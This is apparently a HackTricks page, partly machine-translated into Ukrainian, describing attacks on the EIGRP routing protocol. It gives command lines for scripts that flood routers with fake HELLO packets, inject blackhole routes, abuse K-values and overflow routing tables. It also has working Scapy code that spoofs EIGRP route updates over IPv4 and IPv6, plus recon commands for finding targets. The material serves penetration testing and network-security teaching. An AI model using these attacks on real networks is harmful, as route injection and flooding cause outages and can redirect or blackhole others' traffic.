EIGRP Attacks
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
This is a summary of the attacks exposed in https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Check it for further information.
Fake EIGRP Neighbors Attack
- Objective: Перевантажити CPU маршрутизаторів шляхом флуда їх пакетами EIGRP HELLO, що потенційно може призвести до Denial of Service (DoS).
- Tool: helloflooding.py script.
- Execution:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
- Parameters:
--interface: Вказує мережевий інтерфейс, наприкладeth0.--as: Визначає номер автономної системи EIGRP, наприклад1.--subnet: Встановлює підмережу, наприклад10.10.100.0/24.
EIGRP Blackhole Attack
- Objective: Порушити потік мережевого трафіку шляхом інжекції неправдивого маршруту, що призводить до чорної діри, куди трафік направляється у неіснуючу локацію.
- Tool: routeinject.py script.
- Execution:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
- Parameters:
--interface: Вказує інтерфейс системи атакуючого.--as: Визначає номер AS EIGRP.--src: Встановлює IP-адресу атакуючого.--dst: Встановлює IP цільової підмережі.--prefix: Визначає маску цільового IP.
Abusing K-Values Attack
- Objective: Викликати постійні порушення і перепідключення всередині домену EIGRP шляхом інжекції змінених K-values, що фактично призводить до DoS.
- Tool: relationshipnightmare.py script.
- Execution:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
- Parameters:
--interface: Вказує мережевий інтерфейс.--as: Визначає номер AS EIGRP.--src: Встановлює IP-адресу легітимного маршрутизатора.
Routing Table Overflow Attack
- Objective: Навантажити CPU та RAM маршрутизатора шляхом флуда таблиці маршрутизації великою кількістю фальшивих маршрутів.
- Tool: routingtableoverflow.py script.
- Execution:
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
- Parameters:
--interface: Вказує мережевий інтерфейс.--as: Визначає номер AS EIGRP.--src: Встановлює IP-адресу атакуючого.
Protocol Notes Useful for Attacks
- HELLO packets carry K-values and neighbors only form when they match. Це основа атак на невідповідність K-values/порушення відносин і пояснення, чому невідповідні K-values перешкоджають встановленню adjacency.
- The PARAMETER TLV (Type 0x0001) in HELLO (and initial UPDATE) carries K-values and Hold Time, тому пасивні перехоплення розкривають точні значення, що використовуються в сегменті.
- EIGRP uses IP protocol 88, мультикастить на 224.0.0.10 в IPv4 і FF02::A в IPv6. Це робить його легким для виявлення через
tcpdump 'ip proto 88 or ip6 proto 88'перед спробою активного зловживання. - Reliable UPDATEs are ordered with sequence / acknowledgement fields and SEQUENCE TLVs. Сліпа multicast-інжекція маршрутів може спрацювати в слабких лабораторіях, але при емулюванні реального сусіда часто потрібно відстежувати
seq,ackі список peer-ів, що переноситься в SEQUENCE TLVs, щоб залишатися синхронізованим з логікою RTP.
Passive Recon Before Injection
Before you try to inject routes, capture a legitimate HELLO / UPDATE exchange and extract:
- AS number
- K-values and Hold Time from the PARAMETER TLV
- Authentication in use: none, MD5, or HMAC-SHA-256
- Neighbor source address and the subnet/interface where EIGRP is active
- Software / TLV profile (
SOFTWARE_VERSION,STUB,SEQUENCE) so your crafted packets look like the local routers
Useful commands:
# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'
# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery
# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100
Nmap’s broadcast-eigrp-discovery працює шляхом відправки HELLO на 224.0.0.10 та розбору повернутих UPDATE-пакетів, що корисно для перерахування префіксів перед спробою більш інвазивного route injection.
Scapy Packet Crafting (Route Injection / Fake Neighbors)
Scapy містить EIGRP contrib layer з TLVs, такими як EIGRPParam та EIGRPIntRoute, що достатньо для створення UPDATE-пакетів для route injection. Приклад адаптований з EIGRP route injection скрипта davidbombal/scapy:
from scapy.all import *
load_contrib("eigrp")
sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))
The same repo includes quick “fake neighbor” scripts that sniff a real EIGRP packet and replay it with a spoofed source IP to create phantom neighbors (useful for CPU/neighbor-table pressure).
Scapy also exposes primitives that are useful when you need higher-fidelity emulation instead of a single UPDATE:
EIGRPAuthDataдля аутентифікованих суміжностейEIGRPSeqдля обробки порядку/умовного прийомуEIGRPStubдля відтворення спостережуваної поведінки stubEIGRPv6IntRoute/EIGRPv6ExtRouteдля ін’єкції маршрутів IPv6
Це важливо, оскільки логіка надійного транспорту часто відрізняє одноразовий PoC від fake neighbor, який протримається достатньо довго, щоб вивчити маршрути і отруїти топологію.
EIGRP for IPv6
EIGRP for IPv6 — це окрема адресна сім’я, яка транспортується поверх IPv6. Воно все ще використовує формат пакетів EIGRP / TLVs, але вмикається безпосередньо на інтерфейсах і мультикаститься на FF02::A. З точки зору нападника це означає, що двостековий сегмент може відкривати поверхню атаки EIGRP навіть коли IPv4-сторона виглядає чистою.
Важливі відмінності:
- IPv6 EIGRP увімкнуто на кожному інтерфейсі (
ipv6 eigrp <as>), а не за допомогою IPv4-подібнихnetworkstatements. - Ідентифікатор маршрутизатора все ще потрібен, тож підслуховування активного сегмента зазвичай розкриває достатньо контексту, щоб імітувати дійсного сусіда.
- MD5-аутентифікація існує для EIGRP for IPv6, і сучасні розгортання в режимі named mode також можуть використовувати HMAC-SHA-256, що блокує неавтентифіковану ін’єкцію маршрутів.
Мінімальний приклад Scapy для ін’єкції маршрутів IPv6:
from scapy.all import *
load_contrib("eigrp")
send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")
Якщо IPv6 next hop всередині route TLV обнулено, приймачі повертаються до IPv6 source address у заголовку пакета. Через це source spoofing та коректна link-local addressing особливо важливі під час тестування EIGRPv6.
- Scapy EIGRP contrib документація: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
- Приклади скриптів: https://github.com/davidbombal/scapy
Routopsy & NSE Helpers
- Routopsy створює лабораторію віртуальних маршрутизаторів для атак (FRRouting + Scapy) і містить DRP-атаки, які можна адаптувати для тестів EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
- Nmap’s NSE має невелику бібліотеку
eigrpдля парсингу/генерації підмножини пакетів EIGRP. https://nmap.org/nsedoc/lib/eigrp.html
Authentication Recon
- EIGRP named mode підтримує HMAC-SHA-256 authentication через
authentication mode hmac-sha-256 .... Якщо ввімкнено, спеціально сформовані пакети мають бути аутентифіковані правильним ключем; якщо не ввімкнено, spoofing/injection простіше підтвердити. - RFC 7868 також визначає як MD5 так і SHA2-256 authentication data всередині EIGRP AUTH TLV, тому пасивні захоплення швидко покажуть, чи реалізовний blind spoof, або чи спочатку потрібен key material.
- На EIGRP для IPv6 Cisco також підтримує MD5 authentication with key chains. Якщо налаштовано декілька ключів зі строками дії send/accept, відтворення застарілого аутентифікованого трафіку стає менш надійним, оскільки активний ключ може змінитися без зміни решти профілю adjacency.
References
- https://www.rfc-editor.org/rfc/rfc7868.html
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_eigrp/configuration/15-mt/ire-15-mt-book/ire-sha-256.html
- https://nmap.org/nsedoc/scripts/broadcast-eigrp-discovery.html
- https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


